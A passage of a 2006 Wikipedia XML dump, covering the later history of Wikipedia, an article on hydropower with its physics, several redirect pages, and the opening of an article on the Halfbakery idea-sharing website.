[[Image:Size_of_wikipedia_graph_sep_2002.png|right|thumb|300px|Size of Wikipedia, until September 2002.]]
[[Image:Wikipedia_growth_rate_sep_2002.png|right|thumb|300px|Wikipedia growth rate, until September 2002.]]
[[Image:Wikipedia_daily_traffic_sep_2002.png|right|thumb|300px|Wikipedia traffic rate, until September 2002.]]

* Until [[January 2002]], Sanger was employed by Bomis as editor-in-chief of Nupedia and the unofficial leader of Wikipedia. Funding ran out, however, and Sanger resigned from both positions in [[March 2002]].
* In [[February 2002]], most participants of the [[:es:|Spanish Wikipedia]] broke away to establish the ''[[Enciclopedia Libre]]''. &lt;!-- neither this article nor that article mention *why*. Refs needed --&gt; The project is occasionally visited by &quot;vandals&quot; who remove valid articles or post inappropriate content. While such vandalism is generally quickly reverted, the project's main page was, for a time, subjected to repeated vandalism. This led to the protection of the page so that it could only be changed by administrators.
* On [[April 4]], [[2002]] ''Brilliant Prose'', since renamed to ''[http://en.wikipedia.org/wiki/Wikipedia:Featured_Articles Wikipedia:Featured Articles]'', was moved to the Wikipedia Namespace from the article namespace. At that time, selection was informal; the ''Featured Articles Candidacy process'' was not to be instituted for several years yet.
* In [[August 2002]], shortly after Jimbo Wales announced that he would never run commercial [[advertisement]]s on Wikipedia, the [[URL]] of Wikipedia was changed from ''wikipedia.com'' to ''wikipedia.org'' (see: [[.com]] and [[.org]]). 
* In the same [[summer]], policy and style issues were clarified with the creation of the [http://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style Wikipedia:Manual of Style], along with a number of other policies and guidelines.
* In [[October 2002]], Derek Ramsey (&quot;Ram-Man&quot;) started to use a &quot;bot&quot;, or program, to add a large number of articles about [[United States]] towns; these articles were automatically generated from [[U.S. census]] data. Occasionally, similar bots had been used before for other topics. These articles were generally well received, but some users criticized them for their uniformity and generally machine-like writing style (for example, see [http://en.wikipedia.org/w/wiki.phtml?title=La_Grange%2C_Illinois&amp;oldid=2963634 this version] of a town article).
* In [[December 2002]], the first sister project, [[Wiktionary]], was created; aiming to produce a [[dictionary]] and [[thesaurus]] of the words in all languages. It uses the same software as Wikipedia.

===2003===
* In [[January 2003]], support for mathematical formulas in [[TeX]] was added. The code was contributed by [[Tomasz Wegrzanowski]]. 
* On [[January 22]] [[2003]], the English Wikipedia was again [[slashdot effect|slashdotted]] after having reached the 100,000 article milestone. Two days later, the German language Wikipedia, the largest non-English version, passed the 10,000 article mark.
* In [[June 20]], [[2003]], the [[Wikimedia Foundation]] was founded. On the same day &quot;[[Wikiquote]]&quot; was created. A month later, &quot;[[Wikibooks]]&quot; was launched. 
* Around [[October 15]], [[2003]], the current Wikipedia logo was installed. The logo concept was selected by a voting process, which was followed by a revision process to select the best variant. The final selection was created by [http://en.wikipedia.org/wiki/User:Nohat David Friedland] based on a logo design and concept created by [http://en.wikipedia.org/wiki/User:Paul_Stansifer Paul Stansifer].
* On [[October 28]], [[2003]] the first &quot;real&quot; meeting of Wikipedians happened in [[Munich]]. Many cities followed suit, and soon a number of regular Wikipedian get-togethers were established around the world. Several [[Internet]] communities, including one on the popular [[blog]] website [[LiveJournal]], have also sprung up since. 
*After [[6 December]], [[2003]], Wikipedia administrators could change the ''text'' of the interface by editing the pages in the [http://en.wikipedia.org/wiki/Wikipedia:MediaWiki_namespace Wikipedia:MediaWiki namespace] such as the page that a blocked user will see when they try to edit a page ([http://en.wikipedia.org/wiki/MediaWiki:Blockedtext MediaWiki:Blockedtext]).
&lt;!--- external link? --&gt;

===2004===
* In [[January 2004]], Wikipedia passed the 200,000 article milestone in English and reached 450,000 articles for both English and non-English wikis. The next month, the combined article count of the English and non-English wikis reached 500,000.
* In late [[February 2004]] a coordinated new look for the Main Page appeared. On [[February 25]], the listing of important overview articles, was replaced by a single link to [[Template:WikipediaTOC]]. Hand-chosen entries for the Daily Featured Article, Anniversaries, In the News, and Did You Know rounded out the new look. On [[February 26]],[[2004]], [http://en.wikipedia.org/wiki/User:maveric149 User:maveric149] (Daniel Mayer) implemented the first entries of an automated archive for the [http://en.wikipedia.org/wiki/Wikipedia:Selected_anniversaries Wikipedia:Selected anniversaries] which appear on the Main Page. This feature updates daily on the Main Page of the English Wikipedia.
* On [[April 20]], [[2004]], the article count of the English wiki reached 250,000.
* On [[May 29]], [[2004]], all the various Wikiprojects were updated to a new version of [[MediaWiki]], the software that runs the various Wikiprojects.
* On [[May 30]], [[2004]], the first instances of [http://en.wikipedia.org/wiki/Wikipedia:Categorization Wikipedia:Categorization] entries appeared: [http://en.wikipedia.org/wiki/Category:Mathematics Category:Mathematics] and [http://en.wikipedia.org/wiki/Category:World_War_II Category:World War II]. Category Schemes, like Recent Changes and Edit This Page, had existed from the founding of Wikipedia. However Larry Sanger had viewed the Schemes as lists, and even hand-entered articles, whereas the [[Categorization]] effort centered on individual categorization entries in each article of the encyclopedia, as part of a larger automatic categorization of the articles of the encyclopedia. 
* On [[June 2]], [[2004]], the [[People's Republic of China]] [[Blocking of Wikipedia in mainland China|blocked the access]] to the [http://zh.wikipedia.org/ Chinese Wikipedia] in [[mainland China]]. A few days later, all language Wikipedias were blocked. The ban was lifted on [[June 17]].
* After [[3 June]], [[2004]], administrators could edit the ''style'' of the interface by changing the [[Cascading Style Sheets|CSS]] in the monobook stylesheet at [[MediaWiki:Monobook.css]].
* On [[July 7]], [[2004]], the article count of the English wiki reached 300,000.
* From [[July 10]] to [[August 30]], [[2004]] the [http://en.wikipedia.org/wiki/Wikipedia:Browse Wikipedia:Browse] and [http://en.wikipedia.org/wiki/Wikipedia:Browse_by_overview Wikipedia:Browse by overview] formerly on the Main Page were replaced by links to overviews. On [[August 27]], [[2004]] the [http://en.wikipedia.org/wiki/Wikipedia:Community_Portal Wikipedia:Community Portal] was started, to serve as a focus for community efforts. These were previously accomplished on an informal basis, by individual queries of the Recent Changes, in wiki style, as ad-hoc collaborations between like-minded editors.
* On [[September 20]], [[2004]], Wikipedia reached one million articles [http://meta.wikimedia.org/wiki/PR-1mil-US] in over 105 languages, and received a flurry of related attention in the press. The one millionth article was published in the [[Hebrew language]] Wikipedia, and discusses the [[flag of Kazakhstan]].
* On [[November 20]], [[2004]], the article count of the English wiki reached 400,000.

===2005===
* On [[February 5]], [[2005]], the first [http://en.wikipedia.org/wiki/Wikipedia:Portal Wikipedia:Portal], since renamed to [http://en.wikipedia.org/wiki/Portal:Biology Portal:Biology] was created.
* On [[March 18]] [[2005]], Wikipedia passed the 500,000 article milestone in English. 
* On [[7 June]] [[2005]] at 3:00AM Eastern Standard Time the bulk of the Wikimedia servers were moved to a new facility across the street. All Wikimedia projects were down during this time.
* On [[June 19]], [[2005]], the English Wikipedia passed the 600,000 article mark.
* On [[July 16]], [[2005]], the English Wikipedia began the practice of including the day's [http://en.wikipedia.org/wiki/Wikipedia:Featured_pictures Wikipedia:Featured pictures] on the [http://en.wikipedia.org/wiki/Main_Page Main Page], in the space until then occupied by the &quot;[http://en.wikipedia.org/wiki/Wikipedia:Did_you_know Wikipedia:Did you know]&quot; section. The featured picture of the day now occupies the slot on weekends, with &quot;Did you know&quot; resuming its usual position there on weekdays.
* On [[August 25]], [[2005]], the English Wikipedia passed the 700,000 article mark.
* On [[September 29]], [[2005]], the English Wikipedia passed the 750,000 article mark.
* As of Saturday, [[October 15]], [[2005]], there have been over 500,000 accounts registered on English Wikipedia.
* On [[October 20]], [[2005]], direct access to all the Wikipedia sites was blocked in most areas of [[mainland China]].
* On [[November 1]], [[2005]], the English Wikipedia passed the 800,000 article mark.

* '''Seigenthaler incident'''
{{main article|[[John Seigenthaler Sr. Wikipedia biography controversy]]}}
On [[November 29]] [[2005]], [[John Seigenthaler Sr.]] wrote an op-ed in USA Today to criticize a biography written about him at Wikipedia. Earlier versions of the Wikipedia entry, online from May through September of that year, had contained incorrect statements about Seigenthaler, and this information also appeared on Wikipedia syndicate sites Reference.com and Answers.com. Specifically the statement, &quot;For a brief time, he was thought to have been directly involved in the Kennedy assassinations of both John, and his brother, Bobby. Nothing was ever proven.&quot; Seigenthaler described the statements, which had been written by an anonymous Wikipedia user, as &quot;Internet character assassination&quot;. Seigenthaler did not use the collaborative editing feature of Wikipedia to correct the misstatement himself. Seigenthaler said &quot;I am interested in letting many people know that Wikipedia is a flawed and irresponsible research tool.&quot; He also equated Wikipedia to gossip. In an Interview with a CNN reporter, the reporter also expressed concern about [[Kyra Phillips|her own biography]] which she said portrayed her as she did not wish to be portrayed. The author of the hoax, [[Brian Chase (Wikipedia hoaxer)|Brian Chase]] was discovered in December 2005. He subsequently resigned from his job and apologized in person to Seigenthaler. Chase was traced through the IP address of the [[26 May]] post, which led to his employer.

[[Image:Seigenthaler effect.gif]]

*On [[December 5]] [[2005]], [http://en.wikipedia.org/wiki/Wikipedia:Tutorial_(Registration) Wikipedia:Tutorial (Registration)] became a requirement for the creation of [http://en.wikipedia.org/wiki/Special:Newpages Special:Newpages]. See: [http://en.wikipedia.org/wiki/Wikipedia:Wikipedia_Signpost/2005-12-05/Page_creation_restrictions Wikipedia:Wikipedia Signpost/2005-12-05/Page creation restrictions].

* '''First scientific article comparative study''' &lt;!-- Please to neutralise this if need, and to correct my frenchglish :] --&gt;
On [[December 14]] [[2005]], the scientific journal ''[[Nature (journal)|Nature]]'' published [http://www.nature.com/news/2005/051212/full/438900a.html] the results of [http://www.nature.com/news/2005/051212/multimedia/438900a_m1.html a comparative review] between the Britannica and the Wikipedia Encylopedias concerning scientific articles. This, being the first comparative review concerning Wikipedia of its kind, was done by scientific experts in their field. They were given articles about the same subject, one from Britannica, and one from Wikipedia. Scientists did not know the source, and were told to look for factual errors, critical omissions, and misleading statements. After examining 42 articles in both the encyclopedias, ''Nature'' obtained the following results:
: Britannica: 123 errors, an average of 2.92 by article
: Wikipedia: 162 errors, an average of 3.86 by article.
The data shows that, at least in science, Wikipedia has comparable accuracy to other modern encylopedias.  However, some of the Wikipedia articles were found poorly organized and confusing. [http://en.wikipedia.org/wiki/Wikipedia:External_peer review/Nature_December_2005/Errors Wikipedia:External peer review/Nature December 2005/Errors] reported by the ''Nature'' reviewers.

*On [[December 22]] [[2005]], a [http://en.wikipedia.org/wiki/Wikipedia:Wikipedia_Signpost/2005-12-26/Semi-protection Wikipedia:Wikipedia Signpost/2005-12-26/Semi-protection] policy was implemented in Wikipedia's [[MediaWiki]] software.

===2006===
* On [[January 4]] the English language version of Wikipedia arrived at the 900,000 article mark.
* On [[January 10]] ''Wikipedia®'' became a registered trademark of Wikimedia Foundation.
* On [[January 15]] Wikipedia celebrated its fifth birthday.
* On [[January 30]] Wikipedia [http://en.wikipedia.org/wiki/Wikipedia:Why_create_an_account%3F Wikipedia:Why create an account?] were made to [http://mail.wikipedia.org/pipermail/wikitech-l/2006-January/033833.html require a password].
* On [[February 28]], the one-millionth user account was registered for the English language edition.
* On [[March 1]], the English language Wikipedia passed the 1,000,000 article mark.

==Viability==
The German Wikipedia's issue on CD-ROM and DVD-ROM helped prove a market for Wikimedia products. Within the first ten days, it presold 10,000 copies, 8,000 of which were on Amazon.de. Sales of the product, issued by [[Directmedia Publishing GmbH]] of [[Berlin]], were certainly helped by the €9.90 price for the product.

The [[German Wikipedia]] will be printed in its entirety by Directmedia, in 100 volumes of 800 pages each. Publication will begin in October 2006, and finish in 2010.

==Access in Mainland China==
:''Main article: [[Blocking of Wikipedia in mainland China]]

The [[People's Republic of China]] and [[internet service provider]]s in Mainland China have adopted a [[internet censorship in mainland China|practice of blocking]]  contentious Internet sites in [[mainland China]], and Wikimedia sites have been blocked at least three times in its history. Currently, Wikimedia appears to be undergoing the third block in its history.

The first and so far most significant block lasted between [[June 2]] and [[June 21]], [[2004]]. It began when access to the [[Chinese Wikipedia]] from [[Beijing]] was blocked on the fifteenth anniversary of the [[Tiananmen Square protests of 1989]].

Possibly related to this, on [[May 31]] an article from the IDG News Service was published [http://www.pcworld.com/news/article/0,aid,116323,00.asp], discussing the Chinese Wikipedia's treatment of the protests. The Chinese Wikipedia also has articles related to Taiwanese independence, written by contributors from Taiwan and elsewhere [http://mail.wikipedia.org/pipermail/wikipedia-l/2004-June/015574.html]. A few days after the initial block of Chinese Wikipedia, all Wikimedia sites were blocked in Mainland China. In response to the blocks, two sysops prepared an appeal to lift the block and asked their regional [[internet service provider]] to submit it. All Wikimedia sites were unblocked between [[June 17]] and [[June 21]], [[2004]].

The first block had an effect on the vitality of Chinese Wikipedia, which [http://en.wikipedia.org/wikistats/EN/TablesWikipediaZH.htm suffered sharp dips in various indicators] such as the number of new users, the number of new articles, and the number of edits. In some cases, it took anywhere from six to twelve months in order to recover to the levels of [[May 2004]].

The second and less serious outage lasted between [[September 23]] and [[September 27]], [[2004]]. During this four day period, access to Wikipedia was erratic or unavailable to some users in mainland China &amp;mdash; this block was not comprehensive and some users in mainland China were never affected. The exact reason for the block is unknown, but it may have been linked with the closing down of [[YTHT BBS]], a popular [[Peking University]]-based BBS that was shut down a few weeks earlier for hosting overtly radical political discussions. Refugees from the BBS had arrived en masse on Chinese Wikipedia. Chinese Wikipedians once again prepared a written appeal to regional ISPs, but the block was lifted before the appeal was actually sent out; the reasons of which are, once again, a mystery.

The third block began on [[October 19]], [[2005]], and once again there is no indication as to whether this block is temporary or permanent, or what the reasons or causes for this block are. According to the [http://zh.wikipedia.org/wiki/Wikipedia:状况回报 status page] currently maintained on the Chinese Wikipedia, the Florida and Korea servers are blocked, while the Paris and Amsterdam servers are not. Dozens of editors from across [[Mainland China]] have [http://zh.wikipedia.org/wiki/Wikipedia talk:状况回报 reported] that they can only access Wikipedia using proxy servers.

==See also==
{{selfref|In Wikipedia, see [[Wikipedia:Announcements]], [[Wikipedia:Mailing lists]], [[Wikipedia:Wikipedia's oldest articles]] and [[Wikipedia:CamelCase and Wikipedia]].}}

==External links==
* [[:meta:History of Wikipedia|History of Wikipedia]] - from the [http://en.wikipedia.org/wiki/Wikipedia:Meta Wikipedia:Meta]
* [http://nostalgia.wikipedia.org Nostalgia Wikipedia] - a snapshot of Wikipedia running on a modified version of [[UseModWiki]] 0.92 in read-only mode
* [http://web.archive.org/web/20010331173908/http%3A//www.wikipedia.com/ Even older Wikipedia snapshot]--[[30 March]] [[2001]]
* [http://web.archive.org/web/20010303221706/www.wikipedia.com/wiki/HomePage Even older Wikipedia snapshot]- [[28 February]] [[2001]]
*[http://www.gnu.org/encyclopedia/encyclopedia.html The Free Universal Encyclopedia and Learning Resource] &amp;mdash; Free Software Foundation endorsement of Nupedia (later updated to include Wikipedia) 1999.
* [[Larry Sanger]], [http://features.slashdot.org/article.pl?sid=05/04/18/164213&amp;from=rss The Early History of Nupedia and Wikipedia: A Memoir] and [http://features.slashdot.org/article.pl?sid=05/04/19/1746205&amp;tid=95 Part II] [[Slashdot]] ([[18 April]]-[[19 April]] [[2005]])
*[http://en.wikipedia.org/w/index.php?title=User:Larry_Sanger/Origins_of_Wikipedia&amp;oldid=39843351 Larry Sanger about the origins of Wikipedia]

[[Category:History of Wikipedia|History of Wikipedia]]
[[Category:Internet]]

[[ar:تاريخ ويكيبيديا]]
[[de:Wikipedia:Geschichte der Wikipedia]]
[[es:Historia de Wikipedia]]
[[fr:Wikipédia:Historique du Wikipédia francophone]]
[[hr:Povijest Wikipedije]]
[[nl:Wikipedia:Geschiedenis van Wikipedia]]
[[sl:Zgodovina Wikipedije]]
[[sr:Википедија:Историја]]
[[sv:Wikipedia:Historia]]</text>
    </revision>
  </page>
  <page>
    <title>Hydropower</title>
    <id>14073</id>
    <revision>
      <id>41729065</id>
      <timestamp>2006-03-01T09:34:30Z</timestamp>
      <contributor>
        <ip>58.163.131.122</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Orontes.jpg|250px|thumb|right|Undershot [[water wheel]]s on the [[Orontes River]] in [[Hama]], [[Syria]]]]

'''Hydropower''' is [[energy]] obtained from [[flow]]ing [[water]]. Energy in water can be harnessed and used for this usefulness, in the form of motive energy or temperature differences. The most common application is the [[dam]], but it can be used directly as a mechanical force or a thermal source/sink. 

Prior to the widespread availability of commercial [[electricity]], hydropower was widely used for [[watermill|milling]], [[textile]] manufacture, and the operation of [[sawmill]]s. In the [[1830s]], at the height of the [[canal]]-building era, hydropower was used to transport [[barge]] traffic up and down steep hills using the technology of [[inclined plane railroad]]s.

== Types of water power ==
There are many forms of water power:
* [[Waterwheel]]s , used for hundreds of years to power mills and machinary
* [[Hydroelectric]] energy, a term usually reserved for hydroelectric dams.
* [[Tidal power]], which captures energy from the tides in horizontal direction
* [[Tidal stream power]], which does the same vertically
* [[Wave power]], which uses the energy in waves

=== Hydroelectric power ===
''Main article: [[Hydroelectricity]]''

[[Image:Water turbine.jpg|thumb|right|260px|[[Water turbine|Hydraulic turbine]] and [[electrical generator]].]]

Hydroelectric power from potential energy of the elevation of waters, now supplies about 715,000 [[MWe]] or 19% of world electricity, and large dams are still being designed. Apart from a few countries with an abundance of it, hydro power is normally applied to peak-load demand, because it is so readily stopped and started. Nevertheless, hydroelectric power is probably not a major option for the future of energy production in the developed nations because most major sites within these nations with the potential for harnessing gravity in this way are either already being exploited or are unavailable for other reasons such as environmental considerations.

Hydroelectric energy produces essentially no [[carbon dioxide]] or other harmful emmissions, in contrast to burning [[fossil fuels]] or gas, and so is not a significant contributor to global warming through CO&lt;sub&gt;2&lt;/sub&gt;. Recent reports have linked hydroelectric power to [[methane]], which forms out of decaying submerged plants which grow in the dried up parts of the basis in times of drought. Methane is a greenhouse gas.

Hydroelectric power can be far less expensive than electricity generated from fossil fuel or nuclear energy.  Areas with abundant hydroelectric power attract industry with low cost electricity. Recently, increased environmental concerns surrounding hydroelectric power, have begun to outweigh cheap electricity in some countries.

The chief advantage of hydroelectric dams is their ability to handle seasonal (as well as daily) high peak loads. When the electricity demands drop, the dam simply stores more water. Some electricity generators use water dams to store excess energy (often during the night), by using the electricity to pump water up into a basin. The electricity can be re-generated when demand increases.
In practice the utilization of stored water in river dams is sometimes complicated by demands for irrigation which may occur out of phase with peak electrical demands.

=== Tidal power ===
''Main article: [[Tidal power]]''

Harnessing the tides in a bay or estuary has been achieved in [[France]] (since 1966), [[Canada]] and [[Russia]], and could be achieved in certain other areas where there is a large tidal range. The trapped water can be used to turn [[turbine]]s as it is released through the tidal barrage in either direction. Worldwide this technology appears to have little potential, largely due to environmental constraints. See: [[tidal power]]. Another possible fault is that the system would generate electricity most efficiently if it were to generate electricity in bursts, every six hours (once every tide). Obviously, this limits the applications for which tidal energy can be used.

==== Tidal stream power ====
A relatively new technology development, tidal stream generators draw energy from underwater currents in much the same way that wind generators are powered by the wind. The much higher density of water means that there is the potential for a single generator to provide significant levels of power. Tidal stream technology is at the very early stages of development though and will require significantly more research before it becomes a significant contributor to electrical generation needs.

Several prototypes have however shown some promise. For example, in the UK in 2003, a 300 kW Seaflow marine current propeller type turbine was tested off the north coast of Devon, and a 150 kW oscillating hydroplane device, the Stingray, was tested off the Scottish coast. Another British device, the Hydro Venturi, is to be tested in San Francisco Bay.

The Canadian company Blue Energy has plans for installing very large arrays tidal current devices mounted in what they call a 'tidal fence' in various locations around the world, based on a vertical axis turbine design.

=== Wave power ===
''Main article: [[Wave power]]''

Harnessing power from [[ocean surface wave]] motion is a possibility which might yield much more energy than tides. The feasibility of this has been investigated, particularly in the UK. [[Generator]]s either coupled to floating devices or turned by air displaced by waves in a hollow concrete structure would produce electricity for delivery to shore. Numerous practical problems have frustrated progress.

A prototype shore based wave power generator is being constructed at [[Port Kembla]] in [[Australia]] and is expected to generate up to 500 MWh per annum. The Wave Energy Converter has been constructed (as of [[July]] [[2005]]) and initial test results have exceeded expectations in terms of energy production during times of low wave energy. The energy of waves crashing against the shore is absorbed by an air driven generator and converted to electricity. For countries with large coastlines and rough sea conditions the energy density of breaking waves offers the possibility of generating electricity in utility volumes. Excess power in periods of rough sea could be used to generate renewable hydrogen.


==Physics==
A hydropower resource can be measured according to the amount of available [[Power (physics)|power]], or energy per unit time. The power of a given situation is a function of the hydraulic [[head (hydraulic)|head]] or [[rate of fluid flow]]. When dealing with water in a reservoir, the head is the height of the water level in the reservoir relative to its height after it has left, since [[hydrostatic pressure]] at the base is a function of height only.

The amount of energy &lt;math&gt;E&lt;/math&gt; released by lowering an object of mass &lt;math&gt;m&lt;/math&gt; by a height &lt;math&gt;h&lt;/math&gt; in a gravitational field is

:&lt;math&gt;E = mgh&lt;/math&gt; where &lt;math&gt;g&lt;/math&gt; is the acceleration due to gravity.

The energy available to [[Hydroelectricity|hydroelectric dams]] is the energy that can be liberated by lowering water in a controlled way. In these situations, the power is related to the [[mass flow rate]].

:&lt;math&gt;\frac{E}{t} = \frac{m}{t}gh&lt;/math&gt;

Substituting &lt;math&gt;P&lt;/math&gt; for &lt;math&gt;E/t&lt;/math&gt; and expressing &lt;math&gt;m/t&lt;/math&gt; in terms of the volume of liquid moved per unit time (the [[rate of fluid flow]] &lt;math&gt;\phi&lt;/math&gt;) and the density of water, we arrive at the usual form of this expression:

:&lt;math&gt;P = \rho \phi g \cdot h&lt;/math&gt; 

For &lt;math&gt;P&lt;/math&gt; in [[watt]]s, &lt;math&gt;\rho&lt;/math&gt; is measured in kg/m³, &lt;math&gt;\phi&lt;/math&gt; is measured in m³/s, &lt;math&gt;g&lt;/math&gt; ([[gee]]) is measured in m/s², and &lt;math&gt;h&lt;/math&gt; is measured in [[metre]]s.

Some hydropower systems such as [[water wheel]]s can draw power from the flow of a body of water without necessarily changing its height. In this case, the available power is the [[kinetic energy]] of the flowing water.

:&lt;math&gt;P = \frac{1}{2}\rho\phi v^2&lt;/math&gt; where &lt;math&gt;v&lt;/math&gt; is the [[velocity]] of the water,
or with &lt;math&gt; \phi = A \cdot v&lt;/math&gt; where ''A'' is the [[area]] through which the water passes, also
:&lt;math&gt;P = \frac{1}{2}\rho A v^3.&lt;/math&gt;

Over-shot water wheels can efficiently capture both types of energy.

==Small scale hydro power==
[[Small hydro|Small scale hydro]] or [[Micro hydro|micro-hydro]] power has been increasingly used as an alternative energy source, especially in remote areas where other power sources are not viable. Small scale hydro power systems can be installed in small rivers or streams with little or no discernable environmental effect on things such as fish migration. Most small scale hydro power systems make no use of a dam or major water diversion, but rather use water wheels with little environmental impact.

There are some major factors to consider when installing a micro-hydro system.  First is the amount of water flow available on a consistent basis.  Periods of little or no rain can greatly affect power output.  Second is what is known as head, this is the amount of drop the water has between the intake and the exit of the system.  The more head, the larger amount of power can be generated.  Third, there can be legal and regulatory issues that must be researched.  Most counties, cities, and states have their own regulations about water rights and easments.

Increasingly over the last few years, the U.S. Government has increased its support for alternative power generation.  Many resources such as grants, loans, and tax benefits are available for installing a small scale hydro system.

In poor areas of the world, many remote communities still do not have access to electricity.  Micro hydro power, which has a capacity of 100 kW or less, allows such communities to generate their own electricity&lt;sup&gt;[[#References|1]]&lt;/sup&gt;. This is a form of power which is supported by various organisations such as the UK's [[Intermediate Technology Development Group]].  

Micro-hydro power can be used directly as &quot;shaft power&quot; for many industrial applications.  Alternatively, the preferred option for domestic energy supply is to convert to electricity either through the use of a custom generator or through a reversed electric motor which, while often less efficient is more likely to be available locally and cheaply.

==References==
* [http://www.itdg.org/docs/technical_information_service/micro_hydro_power.pdf Micro-hydro power], Adam Harvey, 2004, Intermediate Technology Development Group, retrieved [[1 January]] [[2005]] from http://www.itdg.org/docs/technical_information_service/micro_hydro_power.pdf.
* [http://www.eere.energy.gov/consumer/your_home/electricity/index.cfm/mytopic=11050 Microhydropower Systems], U.S. Department of Energy, Energy Efficiency and Renewable Energy, 2005

== See also ==
* [[Hydroelectricity]]
* [[Water turbine]]
* [[Ocean thermal energy conversion]]
* [[Deep lake water cooling]]

==External links==
* [http://www.practicalaction.org/docs/technical_information_service/micro_hydro_power.pdf Practical Action (ITDG)] a UK charity developing micro-hydro power and giving extensive technical documentation.
* [http://www.british-hydro.org/ British Hydropower Association]
* [http://microhydropower.net/index.php microhydropower.net] 
* [http://wind-power-generators.com/hydroelectric-energy.html Hydropower's Future] 
* [http://www.microhydropower.net/intro.html Microhydropower 'how to']


[[Category:Electric power]]
[[Category:Energy conversion]]
[[Category:Renewable energy]]

[[da:Vandkraft]]
[[de:Wasserkraft]]
[[es:Energía hidráulica]]
[[fr:Énergie hydraulique]]
[[he:אנרגיית מים]]
[[it:Energia idroelettrica]]
[[nl:waterkracht]]
[[nn:Vasskraft]]
[[pl:Energia wodna]]
[[sv:Vattenkraft]]</text>
    </revision>
  </page>
  <page>
    <title>Hydroelectric plant</title>
    <id>14074</id>
    <revision>
      <id>15911652</id>
      <timestamp>2003-03-12T08:51:01Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>more specific form of power</comment>
      <text xml:space="preserve">#REDIRECT [[Hydroelectricity]]</text>
    </revision>
  </page>
  <page>
    <title>Horse Breed</title>
    <id>14075</id>
    <revision>
      <id>15911653</id>
      <timestamp>2002-08-24T10:07:59Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[List of horse breeds]]</text>
    </revision>
  </page>
  <page>
    <title>Horse breed</title>
    <id>14076</id>
    <revision>
      <id>15911654</id>
      <timestamp>2002-08-24T10:07:05Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[List of horse breeds]]</text>
    </revision>
  </page>
  <page>
    <title>Horse Breeds</title>
    <id>14077</id>
    <revision>
      <id>15911655</id>
      <timestamp>2002-05-29T09:43:32Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[list of horse breeds]]
</text>
    </revision>
  </page>
  <page>
    <title>Halfbakery</title>
    <id>14078</id>
    <revision>
      <id>42163467</id>
      <timestamp>2006-03-04T06:06:07Z</timestamp>
      <contributor>
        <ip>24.2.213.16</ip>
      </contributor>
      <comment>/* Halfbakery Regulars */</comment>
      <text xml:space="preserve">[[Image:Halfbakery Screenshot.png|thumb|right|A screenshot of the Halfbakery homepage.]]'''The Halfbakery''' is a community-based [[web site]] that is used by people who wish to propose and develop novel, if not always serious, half-baked [[invention]]s. Among many similar such sites (e.g., ShouldExist, whynot.net, globalideasbank.org, idea-a-day.com), it has distinguished itself by minimalism, irreverence, and a cast of regulars whose takes on suggested inventions are often funnier than the original submission.

The Halfbakery can be read by anyone but only logged-in users can contribute to the site itself.

Users who have an account, for which you only need to supply a unique name and a password, are able to submit new '''ideas''' (the inventions) and add '''links''' and '''annotations''' to ideas. An account is currently
gained by e-mailing the &quot;bakesperson&quot;, an e-mail address provided on the site.

Logged in users can also declare themselves to be '''for''' or '''against''' particular idea by voting.  The results of the voting is summarised by a numerical score and icons of '''[[croissant]]s''' (for ideas people have liked) or '''fishbones''' (for ideas people dislike) shown against each idea. The maximum endorsement an idea can get is two and a half croissants, and the most disliked ideas get two and a half fish bones.

Users are able to edit and delete their ideas, links, annotations, votes, and even their whole account, if they like. A few selected users can illustrate ideas, and the illustrations are linked to on the idea's page.

It is run as a dictatorship by the bakesperson, jutta, and a small group of volunteer moderators who can contribute ideas themselves and have rights to delete ideas, annotations and links provided by other users. Moderators, however, must adhere to guidelines and are generally forbidden from deleting the links or annotations of other users. Moderators are unable to see who cast votes or alter votes other than their own.

=Site Features=
One of the Halfbakery's main features is its simplicity, whilst maintaining a great many features.

==Fonts==
The main text of the Halfbakery is in [[Trebuchet MS]], and titles are in [[Impact]]. This is explained by jutta as: &quot;the site appears in fonts Impact and MS Trebuchet; Impact because it looks cheap and heavy, Trebuchet because it is readable and Not Arial&quot;. The site mainly sticks to black and white, with the site logo in the top-left corner and gray background being used as an indicator of more recent ideas. '''[[Bold]]''' is used to make recent ideas stand out, as well as highlighting the votes that you voted in. ''[[Italic type|Italics]]'' are not used in the site.

==Sidebar==
The Sidebar appears on the left of the page, under the site logo and changing slogan, on each page. It has three sections:

===idea===
This section is the largest. It contains 7 sections by default: new, search, overview, recent, by name, best and random. These respectively allow you to: create an idea, view an overview of recently created ideas, view recently edited or annotated ideas, view a list of all ideas by name, view the top ten ideas (by vote) and go to a random idea. When viewing an idea, annotate and link are added, which enable you to annotate (comment) on an idea, or to add a link to it. Once logged in, the user can create views, which will appear here.

===meta===
The section remains the same. It contains information relating to the site. It has 5 sections: news, help, about, links and report a problem. These respectively take you to pages about: the latest site news, help and guidelines for the site, a short summary of the site, links relating to the site and an email link to the bakesperson.

===account===
When not logged in, this section displays the words &quot;Browse anonymously, or get an account and write&quot; as well as 2 boxes, for a username and password. It has a small link to log in, and an email link to the bakesperson to create an account (Halfbakery accounts can only be created by the bakesperson). When logged in, the sections change to: [name of user], edit and logout. These links take you to the user page, which the user can edit and display whatever text he/she wants and logout page, which deletes the [[cookie]] and returns the browser to anonymity. When the user is in the edit section, another link appears which allows him to delete the account. Deleting the account removes all ideas, votes, links and annotations by the user.

==Ideas==
The main purpose of the Halfbakery is, of course, the creation and sharing of 'half-baked' ideas. The Halfbakery gives a variety of mechanisms for creating and discussing ideas.

===Creation===
Ideas have a number of elements before anything is added externally:

* Title - This is usually short, and often makes use of a [[pun]] or [[alliteration]]. However, sometimes idea titles are long, usually for humorous effect. An example is 'small piece of paper with 3 4-digit numbers written on it'.
* Category - There are many categories on the Halfbakery, and there is usually a category to fit every idea. Categories are created by the bakesperson, and are usually created as needed.
* Summary - Used as a subtitle, this either clarifies the title, gives a summary or a humorous line. These are rarely very long, but are still longer than the title.
* Description - This is the idea itself. It can be written as a standard idea, as a [[story]] (perhaps the story of someone making it or using it) or, more rarely, a [[poem]].

Once posted, the idea poster has control over all the above features, and can delete the idea if he so wishes.

===Comments and Voting===
